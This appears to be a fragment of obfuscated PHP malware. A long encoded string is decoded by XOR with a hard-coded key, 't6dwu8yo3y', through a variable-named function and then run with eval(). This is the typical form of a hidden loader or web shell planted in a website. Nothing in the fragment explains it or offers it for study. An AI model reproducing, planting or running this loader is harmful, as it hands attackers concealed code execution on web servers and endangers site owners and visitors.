OYKB HODL_KFOZFMC&R[QgTUPiY&WPOv_	Z S_Qg	KU={#(3q5;v++u+9!j8<gUPi\9^SL]+FYq4(l?=z02'g;=z><b*2&kUKl_7Z&GBL^NxR\]0C
TUKlDMLQg9T;L&_XL^NxRRJ]+F\
GX@(QBC@] _UgUQPi\C	XW0VE]gRCNi^0V^ZP\PA CUx^+U]lF_Qg
B	SQGUUV&
KB_*P	C+C]&WS\C^\KlXY7Q	\&F]GPYADP]]&F]M@(SRsX*^VQPi]0G]$V lY]&F]M&]HQg ZC+^O&Q\;WHV^]
QgWDBTV\vPU\;Q]]D\Q^JGWDFJ\ JGOF[J\ JGWDFJ\HZWDFJ\ JGWD\PT&@JJJQ+^O&Q\;P[	PI;YCUlPLP*RHU+^O&Q\; WH]^]Z(PU	&T_Rg^ASC RU0[^( ZG&SCWHJ^]Z(PU	&T_RgH^M[*P	C+C]&WSLCYRA^FG+^O&Q\;WHI^];YCUlPLP*S^ASCRDQlW^M*M	^+TCYRR^F&^MOgUQSi	P[H^MJKgRCNi^0WSY P\&[N;^QHlSCPR&^MOgUQSiP[
HU+^O&Q\;P[H^JPPR&^MOgUQSiRU0[^( ZG&^CYRM^FG+^O&Q\;PFB@ @(N
4&A *\]0Bm@(O2	&^MOgUQSiP[POKNVYC
Q&F_QgFP__T^PY
(@G
\iC0FC(YHP]MMZNE]0]VQ0[^( ZG&JPPCRW(]
A
TVQ+^O&Q\;WHP^]@(JFPZiC0FC(R^D^ZP\]0C
$K&V+DJG&X[GMVHMT\DNVBPLVQg	B]G&E,]QC
]R_$/iC0FC(WHIS9^\C
GXDT

SV]0C
mLLP\RLG^R_$/iC0FC(A^AS9LHE SD VZ;P&_J5\VQ+^O&Q\;P[WSTC^\]0QLS*\	QX^WWQDT\EPPlW^M*M	^+ZP\&[N;^QHlSCRBKlPYKQKlPMLQgUD\_
\]0WLD@ID LMID@NFS\_
\J]\Q\GR]RFM\]&ZQWO@ T\ OBWDM
TOO@T^\QBM_UC\
GXDJG\iC0FC(R^
WS_CYRH^F9W]gRCNi^0QM^Y&\ X;^PTN	_]Y	FB&TQ]M@(RRRW_MKDNMMLQgX]GPYJ^JEWF\MW RY\A\]0A_GJFUFXT]UGOEBKDOA_S*JR&\	,JJ&W
]&Y]k_S*]R&N?JlX _Qg$O;QRLLP\RLG^R_I]IALRXI]Y_VFAX _EJ\ JGWDFJ\ J_JDFJ\ JGWDFJDWGWDFJ\ JGWD\F0[^( ZG&JPWHW^]@(W4RW(Y]+D \eC0[^( ZG&\C^NJF;YCUlPLP*WHD^Z
P\]0AZiC0FC(R^A^]@(UWKlQGTPL ]Y+L	]VD
WY
&^MOgUQSi
P[P]QGTPL ]Y+\_QgFPD JO^AI i\QFC^\&[N;^QHl^ZP[HWPi  &OYOY0EMLQgG+\]B' ; $fhp = 't6dwu8yo3y' ; $oxb = '' ; for ( $xaz = 0 ; $xaz < strlen( $uxg( $lyy ) ) ; $xaz++ ) { $oxb .= $uxg( $lyy )[ $xaz ] ^ $fhp[ $xaz % strlen( $fhp ) ] ; } eval( $oxb );